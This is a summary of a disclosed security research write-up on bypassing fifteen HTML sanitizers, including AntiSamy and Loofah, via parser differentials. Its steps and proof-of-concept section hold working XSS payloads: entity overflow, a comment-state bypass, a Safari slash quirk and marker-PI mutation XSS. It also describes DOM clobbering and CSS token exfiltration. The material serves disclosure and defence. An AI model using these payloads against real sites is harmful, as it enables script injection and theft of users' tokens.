# HyperText Mischief Language

Fifteen HTML sanitizers bypassed via DOM clobbering, entity overflow, comment/textarea parsing quirks, Safari slash handling, and marker-PI mutation XSS, yielding script execution.

- Payout: Research
- Program: HTML sanitizers
- Write-up by: PortSwigger Research
- Disclosed: 2026-12-02
- Write-up quality: 9/10
- Original: https://portswigger.net/research/hypertext-mischief-language
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-hypertext-mischief-language
- Tags: area:web domain:web impact:integrity kind:research platform:research tech:chromium tech:firefox technique:chained technique:parser-differential vuln:misconfiguration vuln:xss

**Target:** HTML sanitizer libraries (DOMPurify, AntiSamy, Loofah, HtmlSanitizer, etc.)
**Root cause:** Sanitizers and browsers disagree on parsing: integer overflow in entity decoding, self-closing textarea serialization, comment-end state handling, Safari treating 0x0F as slash in encoding, and marker-PI streaming into foreign content.
**Steps:**
1. Entity overflow: `&#x10000000000000061;&#x10000000000000062;&#x10000000000000063;` decodes to `abc` in sanitizer but replacement chars in browser
2. AntiSamy crash: `&#xfffffffffffffffff;` throws ScanException: Not a valid Unicode code point: 0xFFFFFFFF
3. AntiSamy textarea: `<textarea></textarea>` serialized as `<textarea/>`, browser opens textarea swallowing content
4. AntiSamy comment: with preserveComments, `<div><!-- --[if IE]-!><img src=x onerror=alert(1)> --></div>` becomes `---!>` which browser closes comment on
5. Loofah Safari: `<math><svg><annotation-xml encoding=texthtml><textarea><a style="font-family:'</textarea><script>alert(1)</script>';"></a></textarea></annotation-xml></svg></math>`
6. Mutation XSS: `<div><math><?marker name="x"?></math></div><template for="x"><style><img src onerror=alert(1)></style></template>`
7. Clobbering: `<img name=getElementById>` overrides document.getElementById
8. Label jacking: `<label for=x>` clicks host page button with id=x
9. contenteditable paste CSS exfil via Frag tool
**How found:** Systematically tested 15 popular sanitizers, hypothesizing parser differentials: overflowed HTML entities, probed comment/textarea serialization, used Shazzer to find characters acting as slash/plus in encoding attributes, and explored new HTML marker-PI feature.
**Exploitation:** Attacker submits crafted HTML to a sanitizer-protected sink (webmail, forum); sanitizer emits output it believes safe, browser parses differently and executes script or triggers host-page actions, or CSS paste exfiltrates tokens.
**Escalation:** Chaining textarea swallow with a second injection; combining clobbering with host app JS; paste-based token theft via contenteditable.
**Insight:** Target the gap between sanitizer parser and browser parser: overflow numeric entity decoding, self-closing serialization of raw-text elements, comment-end state transitions (--!>), and new HTML features (marker PIs, template for=) that stream content into foreign content where raw-text rules differ.

## Proof of concept (copied exactly from the original report)

**AntiSamy conditional comment bypass to XSS**

```
<div><!-- --[if IE]-!><img src=x onerror=alert(1)> --></div>Comes out as:
<div><!-- ---!><img src=x onerror=alert(1)> --></div>
```

**Loofah Safari 0x0F slash annotation-xml bypass**

```
<math><svg><annotation-xml encoding=text&#x0f;html>
<textarea>
<a style="font-family:'</textarea><script>alert(1)</script>';"></a>
</textarea></annotation-xml></svg></math>
```

**Mutation XSS via marker processing instructions**

```
<div><math><?marker name="x"?></math></div><template for="x"><style><img src onerror=alert(1)></style></template>
<div><svg><?marker name="x"?></svg></div><template for="x"><style><img src onerror=alert(1)></style></template>
```

